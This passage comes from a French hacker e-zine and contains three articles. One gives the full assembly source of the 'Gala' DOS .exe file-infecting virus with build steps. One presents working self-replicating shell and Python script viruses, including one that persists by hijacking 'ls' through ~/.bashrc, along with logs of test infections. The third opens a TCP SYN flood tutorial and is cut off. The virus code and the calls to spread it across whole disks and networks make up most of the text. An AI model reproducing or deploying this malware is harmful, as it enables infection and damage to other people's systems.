(i.e. déalloué). [ Processus d'infection ] Etudions dés à présent le fonctionnement général et théorique de notre infection. Vous savez qu'il differera de celle d'un .com, en raison de la structure interne de notre .exe. Tout d'abord nours allons vérifier qu'il s'agit bien d'un fichier .exe en vérifiant sa signature située à l'offset 00 de l'header qui doit correspondre à 'MZ'(ou 'ZM'). L'étape suivante consistera à déterminer si ce même fichier a déjà été infecté par vérification de l'offset 12 (Negative checksum) qui n'est généralement pas utilisé et donc parfait pour insérer une marque d'infection (un charactère quelconque). Notez que nous aurions aussi pu stocker ce marqueur dans SP. Ensuite il va nous falloir garder en mémoire les adresses des principaux registres de l'header tels que CS, SS, SP, IP. Puis nous injecterons le code virale à la fin du fichier hôte et nous définirions une adresse pour le pointeur de pile sur le segment de pile (SS:SP), une adresse fiable assure une infection réussie, dans le cas contraire, un pseudo buffer overflow planterait le programme et le virus ne pourrait se répandre en dehors du launcher (tous les programmes hôtes serait corrompus et ne pourraient donc fonctionner). Nous recalculerons la taille du fichier en pages et en bytes que nous devrons placer respec- -tivement à l'offset 04 et 02 de l'header. Et enfin, nous n'aurons plus qu'à rendre la main au programme hôte en replaçant la pile à sa valeur initiale, le pointeur d'instruction sur CS pointant au début du fichier. Notez que nous devons reajuster SS et CS en leur ajoutant ES+10 (ES et DS pointent tous deux sur PSP). L'ultime étape consiste à masquer toute trace d'infection en restorant les attributs de fichier et la dernière date (et heure) de modification du fichier pour éviter de pouvoir tracer le virus. II. Programmation : ___________________ Après toute cette théorie vous devez être capable de coder un launcher facilement. Nous allons étudier successivement toutes les routines d'infection assembleur. Rien de bien compliqué je vous rassure. Le code a été obtenue par modification de mon virus zex, les routines de début sont donc identiques et la structure du programme s'est vue compliqué par l'infection du format exe. Ce virus est actif, de ce fait essayer de l'isoler sur votre machine. Tout d'abord, il nous faut calculer le décalage relatif à la fin du fichier hôte infecté, pour ensuite pouvoir manipuler variables et label à partir du fichier infecté. ------8<-------------------- Virus: push ds ;empile ds push cs cs ;empile cs pop es ds ;es = ds = cs call debut debut: pop bp ;on récupere ds sub bp,offset debut ;on y soustrait l'offset du label ;debut: pour obtenir le début du virus ------8<-------------------- Maintenant nous devons déclarer une nouvelle table DTA (voir article com_infector) puis mettre à 0 l'IP, pour le faire pointer ensuite sur notre code virale situé à la fin du virus. A la fin de la routine défaut nous lancerons la recherche d'exe à infecter. ------8<-------------------- MDTA: lea dx,[bp+DTA] ;dx <- [bp+DTA] mov ah,1a ;définir nouvelle table DTA int 21 Defaut: lea di,[bp+New_IP] ;di <- [bp+New_IP] (destination) lea si,[bp+Def_IP] ;si <- [bp+Def_IP] (source) mov cx,4 ;cx <- 4 rep movsw ;di[4] <- si[4] mov ah,4e ;ax <- 4eh (code de recherche) xor cx,cx ;cx <- 0 lea dx,[bp+exesig] ;dx <- [bp+exesig] (fichier que nous recherchons, ici '*.exe') ------8<-------------------- Nos arguments de recherches placés dans les différents registres, nous n'avons plus qu'à lancer la boucle de recherche principale. C'est la fonction principale de notre virus, après avoir trouver un fichier en .exe, elle commence par le lire dans sa totalité en stockant son contenu dans un buffer: header_exe, ensuite elle se contente de vérifier le format du fichier par lecture à l'offset 00 de la chaine 'ZM' et la pureté de ce dernier par lecture de l'offset 12. Si le fichier est bien un .exe pure (i.e si l'offset 12 de l'header ne contient pas la chaine 'X'), alors elle appelle la routine SHEADER qui effectue une sauvegarde de l'header, puis les deux routines CSIP et SIZE qui, respectivement, modifie différents offsets de l'header et calcule la nouvelle taille de l'exe (concaténer avec le virus). Et enfin copie le virus à la fin du fichier et l'header modifié au début de celui-ci. ------8<-------------------- Loop_cherche: int 21 ;lance la recherche jc End_loop ;erreur? recherche terminée? on quitte mov ax,3d02 ;ax <- 3d02h lea dx,[bp+DTA+1e] ;dx <- [bp+DTA+1e] (offset 1eh table DTA = nom du fichier) int 21 ;on ouvre le fichier en lecture/écriture mov bx,ax ;bx <- handle du fichier mov ah,3f ;ah <- 3fh mov cx,1a ;cx <- 1ah (taille du fichier) lea dx,[bp+header_exe] ;dx <- [bp+header_exe] int 21 ;on stocke le contenu du fichier dans le buffer header_exe cmp word ptr [bp+header_exe],'ZM' ;fichier exe? jne close_file ;non on ferme le fichier cmp byte ptr [bp+header_exe+12],'X' ;fichier déjà infecté? je close_file ;oui on ferme le fichier call __SHEADER ;on appelle la routine SHEADER mov ax,4202 ;on se déplace au début du fichier xor cx,cx xor dx,dx int 21 push ax dx ;empilement de ax et dx call __CSIP ;appel de la routine CSIP pop dx ax ;dx <- dx, ax <- ax (taille du fichier non infecté) call __SIZE ;appel de la routine SIZE mov ah,40 ;ax <- 40h mov cx,Fin-Virus ;cx <- offset Fin - offset virus (taille du virus) lea dx,[bp+Virus] ;dx <- [bp+Virus] int 21 ;on écrit le virus à la fin du fichier mov ax,4200 ;déplacement au début du fichier xor cx,cx xor dx,dx int 21 mov ah,40 mov cx,1a lea dx,[bp+header_exe] int 21 ;écriture de l'header modifié ------8<-------------------- L'infection du fichier exe actuellement ouvert terminée, il nous faut le refermet et continuer la recherche. En cas d'erreur, ou de fin de recherche, on saute directement au label End_loop, qui restore la table DTA d'origine. ------8<-------------------- Close_File: mov ah,3e ;ah <- 3eh (bx <- handle) int 21 ;fermeture du fichier Continue: mov ah,4f ;ah <- 4fh jmp Loop_cherche ;continuer recherche End_loop: pop ds ;adresse du segment PSP mov dx,80 ;dx <- 80 mov ah,1a ;ah <- 1ah int 21 ;restoration de la table DTA ------8<-------------------- La recherche terminée, le segment de code doit être remodifié de façon à éxécuter le code original du fichier hôte. Nous effectuons ensuite un far jump 0 New_CS:New_IP (ce qui à pour conséquence de rendre la main au fichier infecté). ------8<-------------------- Hote_go: push ds pop es ;es <- ds mov ax,es ;ax <- es add ax,10 add word ptr cs:[bp+New_CS],ax ;reajuste l'ancien segment de code (sauvegardé avant infection) cli add ax,word ptr cs:[bp+New_SS] ;reajuste l'ancien segment de pile (sauvegardé avant infection) mov ss,ax ;ss <- ax mov sp,word ptr cs:[bp+New_SP] ;on restore le pointeur de pile original sti db 0ea ;far jmp New_CS:New_IP New_CS dw 0 New_IP dw 0 New_SP dw 0 New_SS dw 0 Def_CS dw 0fff0 Def_IP dw 0 Def_SP dw 0 Def_SS dw 0fff0 ------8<-------------------- Bon à présent étudions les différentes routines qui vont nous permettre l'éxécution du virus à l'ouverture du fichier hôte dans de bonnes conditions. Pour commencer la routine CSIP. Celle-ci s'occupe de la modification des différents offsets de l'header du fichier a infecter. Les offsets 0Eh, 10h, 12h, 14h et 16h sont modifiés respectivement avec l'offset du nouveau segment de pile calculé en paragraphes (SS=CS), la valeur 0FFFE (SP), 'X' caractère marqueur de l'infection (placé dans le Negative checksum offset 12h), puis, la nouvelle première instruction à éxécuter (la première de notre virus) et enfin l'adresse de segment CS modifiée. Toutes ces valeurs sont calculées en effectuant différents calculs obtenus par manipulation des mnémoniques arithmétiques (shl,shr) qui effectuent un décalage à droite ou à gauche de n octets, ce qui a pour résultat de multiplier la valeur placée dans l'opérande source par une puissance de 2, correspondant au nombre placé dans l'opérande de destination. ------8<-------------------- __CSIP: push ax ;empile (ax <- taille du fichier hôte) mov ax,word ptr[bp+header_exe+8] ;ax <- taille de l'header mov cl,4 ;cl <- 4 (2^4=32) shl ax,cl ;conversion en bytes (ax*32) mov cx,ax ;cx <- ax pop ax ;ax <- taille du fichier hôte sub ax,cx ;ax <- ax - cx sbb dx,0 mov cl,0ch ;cx <- 12 shl dx,cl ;dx <- adresse de segment mov cl,4 ;cl <- 4 push ax shr ax,cl ;ax <- ax/4 add dx,ax ;dx <- dx + ax (nouveau CS) shl ax,cl ;ax <- ax*4 pop cx sub cx,ax ;cx <- cx - ax (nouveau IP) mov word ptr [bp+header_exe+0Eh],dx ;[bp+header_exe+0Eh] <- nouveau SS (= CS) mov word ptr [bp+header_exe+10],0FFFE ;[bp+header_exe+10] <- 0FFFE (SP) mov byte ptr [bp+header_exe+12],'X' ;[bp+header_exe+12] <- 'X' (marqueur d'infection) mov word ptr [bp+header_exe+14],cx ;[bp+header_exe+14] <- nouveau IP mov word ptr [bp+header_exe+16],dx ;[bp+header_exe+16] <- nouveau CS ret ------8<-------------------- La routine SIZE calcule la nouvelle taille du fichier hôte infecté (fichier hôte et virus concaténés), en pages et en bytes, puis place à l'offset 04 du PE header le nombre de pages, et à l'offset 02 la taille en byte du fichier hôte infecté. ------8<-------------------- __SIZE: push ax ;empilem (ax <- taille fichier hôte) add ax,Fin - Virus ;ax <- taille fichier infecté adc dx,0 mov cl,7 ;cl <- 7 (2^7=128) shl dx,cl ;dx <- dx*128 mov cl,9 ;cl <- 9 (2^9=512) shr ax,cl ;ax <- ax/512 add ax,dx ;ax <- ax + dx inc ax mov word ptr [bp+header_exe+04],ax ;[bp+header_exe+04] <- nombre de pages pop ax mov dx,ax shr ax,cl shl ax,cl mov dx,ax mov word ptr [bp+header_exe+02],dx ;[bp+header_exe+02] <- taille en bytes ret ------8<-------------------- Et enfin la routine SHEADER qui effectue une sauvegarde de l'header du fichier hôte non infecté par copie des champs de celui-la allant être modifié (0Eh-SS, 10-SP, 14-IP, 16-CS), dans les buffers respectifs Def_SS, Def_SP, Def_IP, Def_CS. ------8<-------------------- __SHEADER: mov ax,word ptr [bp+header_exe+0Eh] mov word ptr [bp+Def_SS],ax ;[bp+Def_SS] <- [bp+header_exe+0Eh] mov ax,word ptr [bp+header_exe+10] mov word ptr [bp+Def_SP],ax ;[bp+Def_SP] <- [bp+header_exe+12] mov ax,word ptr [bp+header_exe+14] mov word ptr [bp+Def_IP],ax ;[bp+Def_IP] <- [bp+header_exe+14] mov ax,word ptr [bp+header_exe+16] mov word ptr [bp+Def_CS],ax ;[bp+Def_CS] <- [bp+header_exe+16] ret ------8<-------------------- III. Code source : __________________ ------8<--------------------------------------------------------------------- ;Gala by Li0n7 ;current directory exe file format infector ;Salvador's not here.. Fuck! you gotta code your own AV!... ;... Gala rot in hell!! .model tiny .radix 16 .code org 100 Virus: push ds push cs cs pop es ds call debut debut: pop bp sub bp,offset debut MDTA: lea dx,[bp+DTA] mov ah,1a int 21 Defaut: lea di,[bp+New_IP] lea si,[bp+Def_IP] mov cx,4 rep movsw mov ah,4e xor cx,cx lea dx,[bp+exesig] Loop_cherche: int 21 jc End_loop mov ax,3d02 lea dx,[bp+DTA+1e] int 21 mov bx,ax mov ah,3f mov cx,1a lea dx,[bp+header_exe] int 21 cmp word ptr [bp+header_exe],'ZM' jne close_file cmp byte ptr [bp+header_exe+12],'X' je close_file call __SHEADER mov ax,4202 xor cx,cx xor dx,dx int 21 push ax dx call __CSIP pop dx ax call __SIZE mov ah,40 mov cx,Fin-Virus lea dx,[bp+Virus] int 21 mov ax,4200 xor cx,cx xor dx,dx int 21 mov ah,40 mov cx,1a lea dx,[bp+header_exe] int 21 Close_File: mov ah,3e int 21 Continue: mov ah,4f jmp Loop_cherche End_loop: pop ds mov dx,80 mov ah,1a int 21 Hote_go: push ds pop es mov ax,es add ax,10 add word ptr cs:[bp+New_CS],ax cli add ax,word ptr cs:[bp+New_SS] mov ss,ax mov sp,word ptr cs:[bp+New_SP] sti db 0ea New_CS dw 0 New_IP dw 0 New_SP dw 0 New_SS dw 0 Def_CS dw 0fff0 Def_IP dw 0 Def_SP dw 0 Def_SS dw 0fff0 __CSIP: push ax mov ax,word ptr[bp+header_exe+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax mov word ptr [bp+header_exe+0Eh],dx mov word ptr [bp+header_exe+10],0FFFE mov byte ptr [bp+header_exe+12],'X' mov word ptr [bp+header_exe+14],cx mov word ptr [bp+header_exe+16],dx ret __SIZE: push ax add ax,Fin - Virus adc dx,0 mov cl,7 shl dx,cl mov cl,9 shr ax,cl add ax,dx inc ax mov word ptr [bp+header_exe+04],ax pop ax mov dx,ax shr ax,cl shl ax,cl mov dx,ax mov word ptr [bp+header_exe+02],dx ret __SHEADER: mov ax,word ptr [bp+header_exe+0Eh] mov word ptr [bp+Def_SS],ax mov ax,word ptr [bp+header_exe+10] mov word ptr [bp+Def_SP],ax mov ax,word ptr [bp+header_exe+14] mov word ptr [bp+Def_IP],ax mov ax,word ptr [bp+header_exe+16] mov word ptr [bp+Def_CS],ax ret exesig db '*.EXE',0 Fin: header_exe db 1a dup (?) DTA: End Virus ------8<--------------------------------------------------------------------- V. Conclusion : _______________ L'infection d'un .exe se montre ainsi plus difficile que celle d'un .com. Mais, Le format exe étant un poil moins complexe que le format elf, les virus ont encore de beaux jours devant eux sur les plate-formes windows. Le code de ce virus peut être une fois encore largment optimisé pour se voir greffer un moteur de polymorphie par exemple ou encore une routine de restoration de date de modification des fichiers infectés, en conséquence, la furtivité du virus s'en verra grandement améliorée! Notez que ce virus n'infecte que les fichiers du répertoire courrant, cet atavisme hérité du com infector peut être contourné en étendant le pouvoir d'infection du microbe sur tout le disque, cette fonction est encore très simple à programmer, avis aux vxers ! Pour assembler: >tasm gala.asm Pour linker: >tlink gala.obj >gala --------------------------------------------------------------------------------------- XIII. L'attaque des scripts : Épisode 2 Emper0r --------------------------------------------------------------------------------------- [ Sommaire ] I/ Introduction. II/ Optimisation du virus c0r0na. III/ Fonction permettant de devenir résident. A/ The fameuse fonction B/ Kr0: Le code complet C/ Les tests D/ Conclusion IV/ Infection des scripts python. V/ A venir I. Introduction : _________________ Cet article fait suite à mon texte sur l'infection des scripts sous linux, parut dans IOC#4. Voici les détails que je voulais ajouter : o Quelques optimisations des précédent virus. o Une méthode pour être d'une certaine façon résident o Infection des scripts python Je dit 'd'une certaine façon résident' car le virus n'est pas vraiment résident en mémoire, on détourne une fonction pour l'appeler à chaque fois. II. Optimisation du virus c0r0na : __________________________________ Voici la 2ème version de mon virus c0r0na, j'ai trouvé quelques nouvelles techniques pour l'optimiser. L'article commençe par ce code car il va nous servir pour la suite: Virus parasite c0r0na2 infecteur de shell scripts: ----8<------------------------------------------------------------------------- #!/bin/sh #c0r0na2 for f in * do if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep c0r0na) >/dev/null;then cat $f >.a head -n 11 $0 >$f cat .a >>$f rm -f .a fi;done ----8<------------------------------------------------------------------------- Petite explication sur le test pour ceux qui non pas l'habitude des shell scripts: if #Si (file $f |grep shell #le fichier trouver '$f' est un shell script && #et [ -f $f -a -w $f ] #qu'il est un fichier accessible en écriture && #et ! head -n 2 $f |grep c0r0na) #qu'il ne contient pas de signature virale >/dev/null; #(Redirection des sortie des grep) then #Alors: ... Amélioration de cette version: - 11 lignes au lieu de 18 - Création d'un seul fichier temporaire au lieu de deux (gain de rapidité) - 187 octets au lieu de 239 Quasiment toute l'optimisation vient du fait que tous les tests sont effectués en une seule fois. Je pense qu'il y a peut être encore moyen de l'améliorer en supprimant la création fichier temporaire qui sert à la sauvegarde du script original. Pour d'éventuels tests faites ça sur votre bécane... III. Fonction permettant de devenir résident : ______________________________________________ Dans mon précédent article, ce qui m'a posé le plus de problèmes c'était de trouver comment traverser les répertoires pour que mon virus puisse se propager sur tout le disque. Ne trouvant pas la solution, quelques recherches sur le net m'ont amenées sur un article de ThreaT (www.chez.com/mvm) qui a codé une sorte de virus ressemblant a c0r0na. Le sien traverse très bien les répertoires, et sa technique est astucieuse. Il obtient une sorte de mode pseudo-résident en détournent une/des commandes. A/ The fameuse fonction : _________________________ Grâce aux alias on peut détourner une commande par ex la commande ls. Les alias sont écrits dans le ~/.bashrc et fonctionnent de cette façon : alias ls='commande-a-executer' Donc ce que nous allons faire c'est détourner la commande ls vers une souche virale cachée à un endroit et ensuite exécuter le vrai /bin/ls. Voici la petite fonction qui permet cela et qui sera ajouter a mon virus c0r0na. ---------------8<-------------------------------------------------------------- #!/bin/sh #Kr0 #nouveau nom, nouvelle signature ;) if [ ! -f /tmp/.vx ]; then #Teste si la souche virale existe head -n 25 $0 > /tmp/.vx #sinon on la crée echo "/bin/ls \$*" >> /tmp/.vx #Ajout de la commande pour exécuter le ls chmod +x /tmp/.vx #Cette souche doit être exécutable fi if ! grep /tmp/.vx ~/.bashrc > /dev/null; then #Teste si commande ls détourné echo "alias ls='/tmp/.vx'" >> ~/.bashrc #sinon on la détourne fi ----------------8<------------------------------------------------------------- B/ Kr0: Le code complet : _________________________ Virus parasite Kr0 pseudo-résident infecteur de shell scripts, copyleft Emper0r : ----8<------------------------------------------------------------------------- #!/bin/sh #Kr0 v=/tmp/.vx if (! grep $v ~/.bashrc && [ ! -f $v ]) >/dev/null;then (head -n 15 $0 && echo "/bin/ls \$*") >$v chmod +x $v echo "alias ls='$v'" >>~/.bashrc;fi for f in * do if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep Kr0) >/dev/null;then cat $f >.a head -n 15 $0 > $f cat .a >>$f rm -f .a fi;done ----8<------------------------------------------------------------------------- C/ Les tests ____________ Pour mes tests je crée 2 répertoires de test, 'test1' et 'test2' contenant chacun 10 scripts cobaye. [emper0r@laptop test1]$ ls -al total 48 drwxr-xr-x 2 emper0r emper0r 4096 sep 6 15:26 ./ drwxr-xr-x 4 emper0r emper0r 4096 sep 6 15:24 ../ -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t1* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t2* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t3* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t4* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t5* -rwxr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t6* ---------- 1 emper0r emper0r 34 sep 6 15:26 t7 <- chmod 000 t7 -r-xr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t8* <- chmod -w t8 ---------- 1 emper0r emper0r 34 sep 6 15:26 t9 <- chmod 000 t9 le répertoire test2 est identique, j'ai modifié quelques droits de fichier pour vérifier qu'aucun message d'erreurs apparaît. Aller on lançe ce virus : (Attention si vous voulez le tester alors faite le sur votre bécane, et uniquement si vous savez ce que vous faites. N'oubliez pas de vous désinfecter après les tests, même si le virus ne présente aucun danger direct.) [emper0r@laptop etudeioc5]$ ./Kr0 [emper0r@laptop etudeioc5]$ cat ~/.bashrc # .bashrc # User specific aliases and functions # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi alias ls='/tmp/.vx' <- parfait la commande ls est détourné En fessant un cat /tmp/.vx on peut voir que le fichier contient bien notre souche virale et le très important: /bin/ls $* en dernière ligne, ce qui permet d'exécuter la véritable commande ls tout en gardant les paramètres. Pour que l'alias soit pris en compte, je doit faire un exit pour delogger. Je me relog et vais dans mes répertoires de test y faire un petit 'ls' pour voir si tout ce passe comme prévu. [emper0r@laptop test1]$ ls -al total 48 drwxr-xr-x 2 emper0r emper0r 4096 sep 7 03:40 . drwxr-xr-x 4 emper0r emper0r 4096 sep 6 15:55 .. -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t1 -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t2 -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t3 -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t4 -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t5 -rwxr-xr-x 1 emper0r emper0r 370 sep 7 03:40 t6 ---------- 1 emper0r emper0r 34 sep 6 15:26 t7 -r-xr-xr-x 1 emper0r emper0r 34 sep 6 15:26 t8 ---------- 1 emper0r emper0r 34 sep 6 15:26 t9 Héhé c'est pas beau ca ?! juste en fessant un 'ls' tous les scripts accessible en écriture on été parfaitement infectés, le ls est bien exécuté avec les paramètres. En copiant et exécutant un script infecté du répertoire test1 dans test2, je voit, a l'aide d'un cat, que le script fonctionne toujours et infecte bien le dossier. Aucun message d'erreur, les paramètres passés au ls ont bien fonctionnés et les scripts infecté fonctionne toujours correctement. Tout ca en simplement 15 lignes et 336 octets !! Si quelqu'un sait comment encore améliorer ca: mail emper0r@secureroot.com. Si c'est juste pour gagner 3 octets en supprimant quelques espaces c'est pas la peine ;) D/ Conclusions : ________________ Inconvénient de cette technique, c'est pas très discret ! - Ralentit un peu le 'ls' sur de petite bécane ou dans de gros dossiers. - Si l'alias du 'ls' est découvert dans le ~/.bashrc c'est foutu - Une souche virale cachée avec son chemin écrit dans le ~/.bashrc Mais cette fois au moins notre virus peut se propager sur tout le disque et sur le réseau (ex: partage NFS) juste pas un simple ls. Je ne vois pas d'autre solution pour faire la même chose de façon plus discrète, sinon il faudrait être root... Si vous avez une autre solution même totalement différente ou même encore moins discrète je suis quand même preneur... IV. Infection des scripts python : __________________________________ Voici encore un langage de scripts ; celui-ci tourne sous linux/unix windows & MacOS. Je ne suis vraiment pas un pro du python. Ce virus a été écrit en une nuit, avec une mini doc sur le python, alors que je n'avait jamais fait de python avant. Donc soyez compréhensifs si mon code est pas terrible, merci ;) Virus parasite bUd infecteur de scripts python, copyleft Emper0r: ----8<------------------------------------------------------------------------- #!/usr/bin/python #bUd import os, sys fileList = [] dir = './' fileList = os.listdir(dir) #liste les fichiers du répertoire courant for file in fileList: #pour chaque fichiers try: hdl=open(file, 'r+') #on essaye de l'ouvrir pyt=hdl.readline() if pyt == '#!/usr/bin/python\n': #teste si c'est du python signature = hdl.readline() if signature != '#bUd\n': #test de signature hdl.seek(0,0) f=hdl.read() hdl2=open(sys.argv[0],'r')#ouvre script courant hdl.seek(0,0) a=0 while a != 30: #boucle recopie ligne a ligne f2=hdl2.readline() hdl.write(f2) a = a + 1 hdl2.close() hdl.close() hdl=open(file, 'a') hdl.write(f) #recopie script original en suivant hdl.close except: #si on a échoué on passe au suivant pass ----8<------------------------------------------------------------------------- Ce virus non optimisé fait 536 octets, même en l'optimisant je ne pense pas que l'on puisse arriver à le faire aussi petit que son équivalent en Perl, et encore moins en bash. Pour les tests je vais me faire un générateur de scripts cobaye : (Marre de faire ces scripts a la main :) ) #!/bin/sh #générateur de scripts cobaye #./gen NomDesFichiers phraseAAfficher NombreDefichiersACrée x=1 while [ $x -le $3 ] do echo "#!/usr/bin/python" > $1$x echo "print \"$2\"" >> $1$x chmod +x $1$x x=`expr $x + 1` done [ Fonctionnement ] [emper0r@laptop python]$ ls bUd* gen* vx/ [emper0r@laptop etudeioc5]$ ./gen cobaye je-suis-un-script-cobaye 6 [emper0r@laptop python]$ ls cobaye1* cobaye2* cobaye3* cobaye4* cobaye5* cobaye6* bUd* gen* vx/ [emper0r@laptop python]$ ./cobaye1 je-suis-un-script-cobaye [emper0r@laptop python]$ Le premier argument est le nom des fichiers crée, ensuite la phrase que le script cobaye peut afficher, puis le nombre de scripts a générer. [emper0r@laptop python]$ ls -al total 44 drwxr-xr-x 3 emper0r emper0r 4096 sep 11 16:00 ./ drwxr-xr-x 5 emper0r emper0r 4096 sep 10 00:35 ../ -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye1* -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye2* -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye3* -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye4* -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye5* -rwxr-xr-x 1 emper0r emper0r 51 sep 11 16:00 cobaye6* -rwxr-xr-x 1 emper0r emper0r 536 sep 11 15:47 bUd* -rwxr-xr-x 1 emper0r emper0r 133 sep 11 15:44 gen* drwxr-xr-x 2 emper0r emper0r 4096 sep 11 15:17 vx/ [emper0r@laptop python]$ chmod 000 cobaye1 [emper0r@laptop python]$ ./bUd [emper0r@laptop python]$ ls -al total 44 drwxr-xr-x 3 emper0r emper0r 4096 sep 11 16:00 ./ drwxr-xr-x 5 emper0r emper0r 4096 sep 10 00:35 ../ ---------- 1 emper0r emper0r 51 sep 11 16:00 cobaye1 -rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye2* -rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye3* -rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye4* -rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye5* -rwxr-xr-x 1 emper0r emper0r 583 sep 11 16:01 cobaye6* -rwxr-xr-x 1 emper0r emper0r 536 sep 11 15:47 bUd* -rwxr-xr-x 1 emper0r emper0r 133 sep 11 15:44 gen* drwxr-xr-x 2 emper0r emper0r 4096 sep 11 15:17 vx/ Voila ça fonctionne ; le virus a infecté les scripts infectables, n'a pas touché aux autres et n'a pas généré de message d'erreur. Ces scripts infectés fonctionnent toujours et sont à leur tour capables d'infecter d'autre script python. Maintenant pour ceux qui veulent s'amuser on peut ajouter cette souche, en la modifiant un peu, à mon virus h0egaard3n(voir IOC#4) pour faire une virus capable d'infecter 3 langages a la fois :) V. A venir : ____________ Par manque de temps je n'ai pas pu inclure a cette article un moteur polymorphe, encours de réalisation, pour les virii perl. Pour ceux que ca interesse il sera normalement très prochainement dispo sur mon site (www.arbornet.org/~emper0r). J'ai aussi quelques idées pour améliorer ce moteur polymorphe et faire un petit métamorphique :) << May The Force Be With You... >> --------------------------------------------------------------------------------------- XIV. Programmation d'un TCP SYN FLOODER Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Nous revoila partis pour le continuum de la série d'articles dédiés aux DoS, nouvelle mouture d'IOC oblige ! Dans le numéro précédent, nous avions étudié le fonctionnement et la programmation d'un ICMP smurfer, cette fois- ci nous nous intérésserons à un outil plus en vogue, le TCP SYN FLOODER. Nous allons passer en revue les différents aspects de ce genre d'attaque, ptit prog à l'appui, avec épuration de longues théories plus que futiles (est-ce un pléonasme?!)! [ Sommaire ] I. Protocole TCP II. Datagramme TCP III.Programmation du flooder IV. Implémentation V. Code source I. Le Protocole TCP : _____________________ Pour une description quasi-exhaustive du protocole TCP et de son fonction- -nement, reportez-vous à l'issue #1. Je vais me contenter ici de rappeler les points les plus importants, caractéristiques de ce protocole. TCP permet l'envoi de donées sur un réseau entre deux hôtes distants. Ce dernier, articulé autour d'une architecture multi-couches, se situe au-dessus du protocole IP, et entretient un contact permanent lui, ce qui lui permet d'envoyer et de recevoir des segments d'informations de tailles variables (voir description des champs de l'header). Il faut savoir que le protocole TCP dépend de l'Internet Protocol, en effet celui-ci s'occupe de la fragmen- -tation et de l'organisation des paquets TCP reçus lors de la traversée d'un réseau quelconque. Nous allons voir ci-dessous que le protocole TCP prend en charge une connexion dit "permanente" entre deux hôtes réseaux distants. L'établissement de cette connection se divise en trois temps (three ways hand shake), la machine A envoie un SYN à la machine B, la machine B répond par un SYN+ACK (ou RST, voir plus bas les bits de contrôle), puis la machine A clôt le balai en envoyant un paquet porteur du bit ACK. Voici l'organisation des couches protocoles : Protocol layering ^ +---------------------+ | | Niveaux supérieurs | | +---------------------+ | | TCP |\ ^ +---------------------+ >- communication | | IP |/ | +---------------------+ | |Transmissions réseaux| <- couche physique ^ +---------------------+ Deux derniers points importants : lorsqu'on parle de segment fragmentation, c'est en fait au clivage d'une trame unique en plusieurs paquets différents de taille moindre que l'on mentionne. Cette trame est ainsi découpée en petits paquets d'une taille définie sur l'header (champs Options, type 3, voir ci-dessous). C'est là ou les subtilités commencent. Pour éviter toute perte quelquequ'elle soit, et pour permettre aux paquets de suivre des chemins différents, l'encom- -brement des réseaux (et d'autres facteurs), un numéro de séquence leur est attribué avant envoi. C'est ainsi que lors de leur récéption, ils sont réordon- -nés pour former la trame complête originale, et cela permet alors une reémission des paquets perdus du fait qu'à chaque numéro de séquence correspond un numéro d'acquittement qui fonctionne en parallèle avec son homologue. Nous allons maintenant survoler la sécurité du protocole TCP, la différence avec celle de l'IP est flagrante, différence résultant du fait qu'un maintien de la connection est effectué. On dira alors que le protocole IP est "non-connecté", ou fonctionne en mode datagrammes, et que TCP est ainsi "connecté" (en réalité il ne fonctionne qu'en "semi-connecté", mais ceci ne nous intérèsse pas ici). Vous vous demandez alors comment vérifier la réèlle source d'un paquet autre que par la lecture du champs source de l'header TCP? C'est ici qu'intervient l'ISN (Incrementation of Sequence Numbers). Au démarrage de la machine, l'ISN est initialisé à 1. A chaque seconde écoulée, en réalité à chaque saut réalisé par le paquet, l'ISN s'incrémente de 128 000 et à chaque connexion établie il s'incrémente également de 64 000. Lors d'un détournement de session, tel qu'un IP Spoofing, l'attaquant doit d'une part récupérer le dernier numéro de séquence de la machine à détourner puis établir des statistiques sur le temps de tranfert pour enfin en déduire le taux d'incrémentation qu'il va faire subir aux numéros de séquences de ses paquets pirates. Nous allons passer en revue les différents champs constituant le datagramme TCP. II. Datagramme TCP : ____________________ 0 16 31 +-------------------------------+-------------------------------+ | Port Source (16) | Port Desination (16) | +---------------------------------------------------------------+ | Numéro de séquence (32) | +---------------------------------------------------------------+ | Accusé de récéption (32) | +---------------------------------------------------------------+ | Data(4)| Réservé |U|A|P|R|S|F| Fenêtre (Window) (16) | | Offset | (6) | | | | | | | | +---------------------------------------------------------------+ | Checksum (16) | Pointeur URG_DATAS (16) | +---------------------------------------------------------------+ | Options (variable) | Padding (variable) | +---------------------------------------------------------------+ | DONNEES | +-------------------------------+-------------------------------+ ¤ Port source: Le port duquel est envoyé la trame. ¤ Port destination: Le port du destinataire sur lequel il recevra sa trame réseau. ¤ Numéro de séquence: Propre au protocole TCP, un numéro est attribué à chaque paquet formant ladite trame. Une fois arrivés sur l'hôte distant, ils sont réordonnés selon leur numéro de séquence. ¤ Accusé de récéption: (ou acquittement) Si le ACK est notifié, alors le champ contiendra le numéro de séquence que le récépteur 